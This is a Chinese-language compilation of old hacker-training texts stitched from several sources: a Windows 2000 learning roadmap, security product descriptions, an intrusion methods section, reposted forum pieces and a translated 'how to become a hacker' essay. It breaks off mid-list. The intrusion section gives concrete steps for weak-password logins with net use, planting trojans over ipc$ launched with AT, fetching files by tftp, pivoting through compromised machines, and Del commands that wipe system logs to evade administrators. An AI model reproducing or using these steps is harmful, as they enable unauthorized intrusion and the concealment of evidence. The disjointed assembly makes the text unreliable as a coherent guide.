基础:如何去学习·要有学习目标·要有学习计划·要有正确的心态·有很强的自学能力学习目标·1.明确自己的发展方向(你现在或者将来要做什么,程序员?安全专家?网络黑客等) ·2.自己目前的水平和能力有多高·能简单操作windows2000 ·能简单配置windows2000的一些服务·能熟练的配置Windows2000的各种服务·能熟练配置win2000和各种网络设备联网·能简单操作Linux,Unix,Hp-unix, Solaris中的一种或者多种操作系统·能配置cicso,huawei,3com,朗迅等网络设备·会简单编写C/C++,Delphi,Java,PB,VB,Perl ·能简单编写Asp,Php,Cgi和script,shell脚本·3.必须学会不相信态度,尊重各种各样的能力·不要为那些装模做样的人浪费时间·尊重别人的能力, ·会享受提高自己能力的乐趣. ·在知道了自己的水平和能力之后就要开始自己的目标了·--------安全专家·--------黑客·--------高级程序员·黑客是建设网络,不是破坏网络, 破坏者是骇客; ·黑客有入侵的技术,但是他们是维护网络的,所以和安全专家是差不多的; ·因为懂得如何入侵才知道如何维护·因为懂得如何维护才更要了解如何入侵·这是 黑客与安全专家的联系·但,他们都是在会编程的基础上成长的! ·下面我们开始我们的学习计划! 学习计划有了学习计划才能更有效的学习安全学习计划不奢求对win98有多么精通,我们也不讲解win98如何应用,如何精通,我们的起步是win2000 s erver,这是我们培训的最低标准,你对英语有一定的了解也是必不可少最基础·a.会装win2000,知道在安装的时候有两种分区格式,NTFS与FAT32 及他们的区别,知道win2 000可以在安装的时候分区,格式化硬盘, 可以定制安装,可以定制自己需要安装的一些组件,如果有网络适配器,可以直接加入域中 学习点:NTFS和FAT32分区的不同 各个组件的作用域的定义·b.知道如何开,关机 知道注销的用处·c.知道win2000下面各主要目录的作用 Documents and Settings,WINNT,system32 Progra m Files ·d.知道管理工具里面各个组件的定义·e.学会应用命令提示符cmd(dos) ·f.知道计算机管理里面的各个选项的不通·g.知道win2000强大的网络管理功能·h.能非常熟练的操作win2000 ·i.知道IP地址,子网掩码,网关和MAC的区别进阶·A.配置IIS,知道各个选项的作用·B.配置DNS,DHCP ·C.配置主控制域,辅助域·D.配置DFS ·E.配置路由和远程访问·F.配置安全策略IPSEC ·G.配置service(服务) ·H.配置磁盘管理,磁盘分额·i. 配置RAID(0,1,0+1,5) ·J.路由器的安装与简单配置·K.交换机的安装与简单配置·L.常见的VPN,VLAN,NAT配置·M.配置常见的企业级防火墙·N.配置常见的企业级防病毒软件高级·之前我们学到的是任何一个想成为网络安全专家和黑客基本知识中的一部分·你作到了吗?? ·如果你做到了,足以找到一份很不错的工作! 配置负载均衡·配置WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+负载均衡+ASP(PHP.CGI)+CHECK PIONT(ISA SERVER) · ·配置三层交换网络 · ·配置各种复杂的网络环境·能策划一个非常完整的网络方案 · ·能独自组建一个大型的企业级网络 · ·能迅速解决网络中出现的各种疑难问题结束·在你上面的都学好了,你已经是一个高级人才了,也是我们VIP培训的目标! ·可以找到一份非常好的工作·不会再因为给女朋友买不起玫瑰而发愁了! 安全:导读·系统安全服务(SYSTEM) ·防火墙系统(FIREWALL) ·入侵检测(IDS) ·身份验证(CA) ·网站监控和恢复(WEBSITE) ·安全电子商务(E-BUSINESS) ·安全电子邮件(E-MAIL) ·安全办公自动化(OA) ·Internet访问和监控(AC) ·病毒防范(VIRUS) ·虚拟局域网(VPN) 系统安全服务·系统安全管理·系统安全评估·系统安全加固·系统安全维护·安全技能学习系统安全管理·信息系统安全策略·信息系统管理员安全手册·信息系统用户安全手册·紧急事件处理流程系统安全评估1、系统整体安全分析· 分析用户的网络拓扑结构,以找出其结构性及网络 配置上存在的安全隐患。· 通过考察用户信息设备的放置场地,以使得设备物理上是安全的。· 分析用户信息系统的管理、使用流程,以使得系统 能够安全地管理、安全地使用2、主机系统安全检测· 通过对主机进行安全扫描,以发现系统的常见的安全漏洞。· 对于特定的系统,采用特别的工具进行安全扫描。· 根据经验,对系统存在的漏洞进行综合分析。· 给出系统安全漏洞报告。· 指出各个安全漏洞产生的原因以及会造成的危险。· 给出修复安全漏洞的建议3、网络设备安全检测· 通过对网络进行安全扫描,以发现网络设备的安全漏洞。· 根据经验,对网络设备存在的漏洞进行综合析。· 给出网络设备安全漏洞报告。· 指出各个安全漏洞产生的原因以及会造成的险。· 给出修复安全漏洞的建议。安全系统加固·为用户系统打最新安全补丁程序。·为用户修复系统、网络中的安全漏洞。·为用户去掉不必要的服务和应用系统。·为用户系统设置用户权限访问策略。·为用户系统设置文件和目录访问策略。·针对用户系统应用进行相应的安全处理。安全系统维护·防火墙系统维护,安全日志分析·IDS系统维护,安全日志分析·VPN系统维护,安全日志分析·认证系统维护,安全日志分析·服务器、主机系统,安全日志分析·其它各类安全设施维护及日志分析安全技能培训·网络安全基础知识·网络攻击手段演示和防范措施·防火墙的原理和使用·VPN的原理和使用·漏洞扫描工具的原理和使用·IDS(入侵检测系统)的原理和使用·身份认证系统的原理和使用·防病毒产品的原理和使用·系统管理员安全培训·一般用户安全培训防火墙系统·防火墙的定义·防火墙的分类·包过滤防火墙·应用网关防火墙·状态检测防火墙·一般企业防火墙配置·政府机构防火墙配置·涉密网络保密网关配置·高可用性和负载均衡防火墙系统·高速防火墙系统防火墙的定义·用以连接不同信任级别网络的设备。·用来根据制定的安全规则对网络间的通信进行控制防火墙的分类·包过滤 (Packet Filters) ·应用网关 (Application Gateways) ·状态检测(Stateful Inspection) 包过滤防火墙·包 过 滤 技 术·主要在路由器上实现,根据用户定义的内容(如IP地址、端口号)进行过滤。包过滤在网络层进行包检查与应用无关。· 优 点· 具有良好的性能和可伸缩性。· 缺点· 由于包过滤技术是对应用不敏感的,无法理解特定通讯的含义,因而安全性很差。应用网关防火墙·应用网关技术·第二代防火墙技术,其在应用的检查方面有了较大的改进,能监测所有应用层,同时对应用“内容”(Content Information)的含义引入到了防火墙策略的决策处理。· 优点· 安全性比较高。· 缺点· 1、该方法对每一个请求都必须建立两个连接,一个从客户端到防火墙系统,另一个从防火墙系统到服务器,这会严重影响性能。· 2、防火墙网关暴露在攻击者之中。· 3、对每一个代理需要有一个独立的应用进程或 daemon 来处理, 这样扩展性和支持新应用方面存在问题。检测状态防火墙· 属第三代防火墙技术,克服了以上两种方法的缺点,引入了OSI全七层监测能力,同时又能保持 Client/Server的体系结构,也即对用户访问是透明的。· 防火墙能保护、限制其他用户对防火墙网关本身的访问。· 状态检测技术在网络层截获数据包后交给INSPECT Engine,通过 INSPECT Engine 可以从数据包中抽取安全决策所需的所有源于应用层中的状态相关信息,并在动态状态表中 维持这些信息以提供后继连接的可能性预测。该方法能提供高安全性、高性能和扩展性、高伸缩性的解决方案。入侵检测系统·处理攻击时遇到的典型问题·解决入侵的方法和手段·基于网络的入侵检测·基于主机的入侵检测·入侵检测系统典型配置处理攻击时遇到的问题·获得的信息不足·不知到网络上发生了什么事。·无法判定系统是否已经被入侵。·信息不准确·人员少·没有足够的人员维护管理。·缺乏规范的处理程序·发现攻击时如何反应? ·下一步该如何处理? 解决入侵的方法和手段·采用入侵实时入侵监控系统(IDS)·对系统、网络中发生的事件进行实时监控。·当发生入侵事件时能即时反应。·对入侵事件进行详细记录并跟踪。基于主机的入侵检测·软件模块安装在包含有重要数据的主机上·监视操作系统的日志以发现攻击的特征。·监视代理所处主机上的所有进程和用户. ·监视暴力登录攻击(brute-force login), 试图改变或绕过安全设定,及特权的滥用等。·当新的日志产生时,为了减小对CPU的影响,代理程序暂时中断。基于网络的入侵检测·软件安装在专门的主机上,放置于关键的网段·将配置该软件主机的网卡设置为混杂模式,使得该主机能接受网段上所有的包。·分析数据包以判断是否有黑客攻击。·监视网段上的所有数据。·对网络的流量无任何影响。·能检测到 denial of service attacks, unauthorized access attempts, pre-attack s cans等攻击。身份认证系统·用户身份认证的方法·不同认证方法的安全级别·用户身份认证的常用方式·解决问题的方法·目前比较成熟的双因素认证方法用户身份验证·你知道的一些东西· 密码, 身份证号,生日·你有的一些东西· 磁卡, 智能卡,令牌, 钥匙·你独有的一些东西· 指纹,声音,视网膜密码是不安全的·可以破解密码的工具太多·大多密码在网络中是明文传输的·密码可以网络离线时被窥测·密码和文件从PC和服务器上被转移了·好记的密码容易被猜到,不易猜测的密码又太难记解决方法·使用混合的工具:如IC卡+PIN 网站监控与恢复系统·典型的Web服务器应用·Web服务器存在的安全问题·网站安全解决方法典型web服务器应用·Internet--路由器--防火墙--web站点· | · | · 内部网·所有的放在防火墙后面Web服务器存在的安全问题· 网页被非法篡改是网站内容提供者最头痛的问题。在采用防火墙后,Web服务器本身的漏洞成为了网站被黑的主要问题。· Web应用服务器(如IIS,Apache中存在着大量的安 全漏洞.) · 用户自己开发的CGI、ASP、PHP应用中存在着大量潜在的漏洞。网站安全·采用Web服务器监控与恢复系统·该系统提供对网站文件内容的实时监控,发现被改动后立即报警并自动恢复。电子商务安全系统·典型的电子商务应用·电子商务中存在的安全问题·电子商务的安全解决方法·实时数据交换系统典型电子商务应用·Internet---防火墙---Web服务器· || | · || | · 内部网(数据库) 电子商务中存在的安全问题·1、Web服务器端·Web应用服务器(如IIS、Apache中存在着大量的安全漏洞。用户自己开发的CGI、ASP、PH P应用中存在着潜在的漏洞。· 黑客通过这些漏洞攻击Web服务器,可非法篡改网页,造成恶劣影响,动摇了电子商务使用者的信心。· 甚至可获得Web服务器上大量的敏感资料,如用户的信用卡号,用以连接内部数据库的帐号和口令。· 可能通过控制Web服务器,来攻击内部数据库。电子商务中存在的安全问题·2、SSL协议·SSL加密强度低。由于浏览器默认的加密模块只支持40位的低强度加密,而且即使在浏览器中安装更高位的加密模块,由于WEB服务器不提供对高位SSL链接的支持同样无法实现高强度SSL加密链接。· 无法解决电子商务中的用户签名。SSL链接建立WEB服务器和用户浏览器之间的安全通道只能保证在安全通道内的信息不被窃听或篡改,并不能对用户发送的信息进行签名以保证信息的有效性和不可抵赖性,而这正是电子商务中必须解决的问题。电子商务的安全解决方法·将WEB服务器分为两部分:一般内容的WEB服务器和交易WEB服务器。· 一般内容的WEB服务器放置在DMZ区内,采用WEB站点监控和恢复系统保护,防止主页被非法改动。· 交易WEB服务器放置在内部网内,通过一台物理分隔的实时数据交换系统将其与DMZ区相连。· 在客户机和服务器端安装SSL代理,从而获得128位的高强度加密通道实时数据交换系统·将系统外部 Web服务器和内部应用Web服务器物理隔开. ·外部Web服务器用于存放一般的信息,内部Web服 务器用于存放敏感信息,并和内部数据库连接。·外部用户通过http访问位于DMZ区内的一般Web服务器。·当进行交易时,用户需访问位于内部网内的应用服务器。·https连接首先到达实时数据交换系统的虚拟外部Web服务器,实时数据交换系统将https 协议解开,只将https连接的数据内容拷贝到虚拟内部Web服务器,虚拟内部Web服务器将使用该数据重新发起https连接到实际的内部应用Web服务器. ·内外通过实时数据交换系统进行数据交换,无任何协议和连接穿过实时数据交换系统。·即使DMZ区的Web服务器受到攻击, 攻击者也的不到任何有用的信息安全电子邮件系统·电子邮件的安全问题·安全电子邮件的解决方法·一个安全邮件的使用过程电子邮件的安全问题·如何保证发送的敏感信息不被泄漏·如何保证发送的信息不被篡改·如何确认发件人的真实身份·如何防止发件人的抵赖行为安全电子邮件的解决方法·将PKI体系应用到邮件系统中·邮件的加密和解密以实现数据的保密。·邮件的数字签名(鉴别)实现发件人认证和不可抵赖。·完整性校验功能防止信息传输过程中被篡改可靠的安全性。·采用公开密钥和对称密钥相结合的密钥体系。·支持128bit对称密钥算法和1024bit公开密钥算法。办公自动化系统的安全问题· 如何保证发送的敏感信息不被泄漏· 如何保证发送的信息不被篡改· 如何确认发件人的真实身份· 如何防止发件人的抵赖行为安全办公自动化系统的解决方法·将PKI体系应用到办公自动化系统中·工作流信息的加密和解密以实现数据保密·工作流信息的数字签名(鉴别)实现发件人认证和不可抵赖。·完整性校验功能防止信息传输过程中被篡改可靠的安全性。·采用公开密钥和对称密钥相结合的密钥体系·支持128bit对称密钥算法和1024bit公开密钥算法。Internet访问及控制系统·Internet使用存在的问题·Internet使用的解决方法·内容缓存系统·Internet站点过滤系统Internet访问存在的问题·Internet接入带宽不足,访问比较慢。·大量的用户访问相同的内容,造成带宽的进一步拥挤。·在上班时间里大量的Internet访问是与业务无关的。·有人使用公司的Internet系统访问色情网站。·有人使用公司的Internet系统访问反动站点。·管理人员无法知道Internet系统的使用情况。Internet访问的解决方法· 对于问题一,采用内容缓存系统。· 对于问题二,采用Internet 站点过滤系统。内容缓存系统·1、Client 发起http连接请求·2、Proxy 收到请求后将检查内部缓存内是否有所需内容,若有,则返还给Client。·3、若无,则Proxy根据请求向目的服务器发起请求。·4、Web服务器将内容返回到Proxy服务器。·5、Proxy服务器将得到的内容发回给Client,并在自己的缓存中保存一份。Internet站点过滤系统 (一) ·1、Client 发起http连接请求·2、连接到达防火墙时防火墙将URL送到WebSense Server 检查。·3、WebSense 将审查结果返回到防火墙。·4、防火墙根据其策略决定是否让该连接通过。Internet站点过滤系统 (二) ·1、Client 发起http连接请求·2、Proxy 受到请求后将URL送到WebSense Server检查。·3、Proxy根据返回的结果决定是否接收该连接请求。病毒防范系统· 互连网时代对防病毒系统的要求· 计算机病毒解决方法· 典型病毒防范系统部署互联网时代对防病毒系统的要求· 由于计算机的联网使用,使得病毒传播的途径大为增多:网络文件共享、电子邮件、Int ernet文件下载,传播速度也大为加快。· 新病毒的出现速度加快,用户的防病毒软件的病毒特征码没能及时更新。· 目前已出现了恶意的Java、ActiveX,当使用者浏览到包含这些代码的网页时,会造成安全问题。· 一些来历不明的电子邮件程序或下载的程序中带有特洛依木马,可能会造成受害者的主机被他人控制。计算机病毒解决方法· 从系统的观点考虑病毒的防范,在所有病毒传输的途径上均配置防病毒软件,如客户端(Win98、 · Win2000)、文件服务器(NT、Netware)、邮件服务器(Exchange、Lotus Notes)、Internet接入系统(Proxy、Firewall)等。· 整个病毒防范系统采用集中管理的方式,病毒特征码统一更新,安全策略集中设定,从而使得整个网络系统的病毒特征码得到快速更新。· 通过在客户端的浏览器和Proxy、Firewall中嵌入病毒检查软件,来防范下在程序中带有的病毒和可能的恶意Java、ActiveX等可执行代码的攻击。VPN(虚拟私有网)· 数据加密分类· 物理线路加密· 数据链路加密· 网络层加密-IPSec · 传输层加密-SSL 数据加密类型·物理层-物理层 物理线路加密·数据链路层-数据链路层 (路由器访问) ·在数据链路层(如PPP)进行加密 L2TP、PPTP、L2F ·网络层-网络层(路由器 防火墙 主机) ·在网络层 (如IP)进行加密 IPSec ·传输层-传输层 (对TCP进行加密 SSL) ·应用层-应用层(在应用层 (如TCP)进行加密 S/MIME、SET、SSH) 物理线路加密· DDN 加密机· 帧中继加密机· 异步拨号Modem · ISDN线路密码机· ATM加密机注:传输层加密·Secure Sockets Layer (SSL) 是一个端到端的Internet 安全协议,通过采用数字证书,它提供了数据加密、身份认证的功能。SSL建立在传输层,它为客户机和服务器在应用级建立起一个端到断的安全会话。·SSL代理-128位的高强度加密模块结束语·恭喜你: ·学完这些并且可以熟练应用,已经是一个真正的网络安全专家了! ·希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的色彩! 黑客编:必须要掌握的几个命令·Net ·netsh ·Ftp ·hostname ·Telenet(nc) ·tracert ·At ·Tftp ·Netstat ·Regedit ·Ping 必须要掌握的几个协议·http ·dns ·ftp ·Pop ·Smtp ·Icmp ·Udp ·tcp 开始·掌握了黑客攻击的方式和手段后,那么学习黑客就简单多了! ·因为你掌握了这些,剩余的就是使用工具入侵·熟悉掌握一套自己用的黑客工具高级·自己编写专用的黑客工具·自己发现系统漏洞黑客入侵手段·收集信息: · 收集要入侵的目标信息· IP,域名,端口,漏洞,位置弱口令·在nt\2000\xp\2003中弱口令可以用·Net use \ip “password” /user:user ·如果目标机开3389服务,可以直接连接·在sql的sa弱口令,可以用sql连接器直接 ·登陆后门木马·如果有ipc$共享,可以copy过去木马后门·用at启动·AT \ip time /INTERACTIVE ·如果可以得到shell,也可以用tftp ·Tftp.exe -i ip get *.* *.* ·然后直接安装 ·如果有3389,可以自己建一个iis,下载 直接运行密码破解·远程破解mysql,mssql,ftp,mail,共享密码·本地破解管理员(administrator)密码缓冲溢出·可以用缓冲溢出攻击, ·比如流行的webdev,rdcom模块漏洞·可以直接得到system管理权限·缓冲溢出后的一般现象是: ·Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32 Web服务漏洞·例如: ·Unicode漏洞遍历磁盘和执行程序·二次编码漏洞遍历磁盘和执行程序·.HTR漏洞查看源代码嗅探监听·例如: ·针对web监听·针对mail监听·工具如:sinffer , iris 欺骗攻击·例如: ·运用arp欺骗攻击伪装欺骗·常见的如:mail病毒·把一个文件改名字甚至图标,欺骗对方执行社会工程学·例如: ·QQ聊天诱惑·EMAIL信息·电话·诱惑拒绝服务·例如: ·Dos攻击·Ddos攻击利用跳板·利用自己的肉鸡作为跳板攻击别的机器·My PC------跳板(肉鸡)---目标路由器漏洞·如: ·原始密码·程序漏洞防火墙·利用欺骗攻击防火墙,导致防火墙功能失效·利用防火墙的模块漏洞unix/linux ·NetWare Linux unix solais Solaris hp-unix Aix 等·这些目前先不讲解精通黑客工具·必须有一套自己可以完全掌握的黑客工具·如端口扫描 Nscan,bluescanport ·监听工具:sinffer iris ·telnet工具:nc ·扫描工具:sss,nmap, LANguard ·后门工具:radmin,winshell ·密码破解:lc4 ·远程管理:pcanywhere ·会使用各种经典的黑客工具清除日志·在你入侵机器以后,离开的时候,要完全清除·自己在那台机器上留下的痕迹·例如清除·Del C:\WINNT\system32\LogFiles\*.* ·Del C:\WINNT\system32\*.log ·Del C:\WINNT\system32\*.txt ·Del C:\WINNT\*.log ·Del c:\winnt\*.txt 如果你不清除日志·当目标机器的管理员发现你的证据·完全可以让你在大墙内渡过一段日子黑客·当你完全掌握这些后·你就成为了一名小黑客高级·编写自己的黑客工具·发现系统漏洞高级黑客·目前你足以成为一个高级黑客了真正的黑客·精通各种网络协议·精通操作系统·精通编程技术·精通安全防护·不搞破坏·挑战技术难题结束·想学好这些,并不是靠别人给你的,而是靠自己的努力,自己的自学得到的! ·别人只能指导你,怎么去做,只能告诉方法, ·真正的实施是你自己,经过N*N个日夜努力换来的·不要一个问题问多次,要多动手,动脑! ·Google里面有太多的答案,为什么我搜索不到?因为你的关键字用的不对! ·黑客基地是为了培养出一批优秀的网络人才,让更多想学习网络的爱好者有一个理想的学习环境.
一、学习技术:
互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。
二、伪装自己:
黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。
三、发现漏洞:
漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点--世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。
四、利用漏洞:
对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情;
5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!
第二节、黑客应掌握的基本技能
从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。
一、了解一定量的英文:
学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。
二、学会基本软件的使用:
这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。
三、初步了解网络协议和工作原理:
所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。
四、熟悉几种流行的编程语言和脚本:
同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。
五、熟悉网络应用程序:
网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果
/本篇文章来源于 新贵网 原文出处:http://www.2xg.cn/?dp-bbsthread-67435.html
黑客这种东西,这个职业,没有厉不厉害之分,技术是学不完的,也是层出不穷的,每次爆发一个漏洞,或者是新的技术都要去快速跟进,不知道题主的厉害是指什么程度,可以入侵美国白宫?还是做黑产赚很多的钱?也就是说,没有厉不厉害之分。
个人感觉,黑客这个技术,只有阶段之分,比入门阶段,基础阶段,进阶阶段,就进阶阶段而言,就是个无底洞,要不断的进阶,学一辈子都学不完,当你看到一个很“厉害”的黑客的时候,其实只是相对你而言,只是他的经验和知识面比你多。
也就是说,你要成为一个厉害的黑客,就要不断的追赶和超越,遇到一个比你厉害的黑客,那你就应该以他为目标,要超越他,就这样不断的去超越,这样你在自己的意义上,就是最厉害的黑客。
http://hacker365.com/
基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1 学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2 得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看: 哪里能得到 Linux.
3 学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
黑客文化中的地位大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML, 如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。
现在开始吧......
黑客技术更新速度很快,不是一朝一夕就能练成的,需要多方面的知识,包括网络方面的,软件方面和操作系统方面的知识,还要有能快速找到漏洞的能力,这些有不少的经验成分,所以黑客要不断地学习最新的技术,还要不断的了解最新的漏洞,但同时不会拿自己的能力危害他人危害社会,只要能做到这些,相信你会很不错的!
一,ping
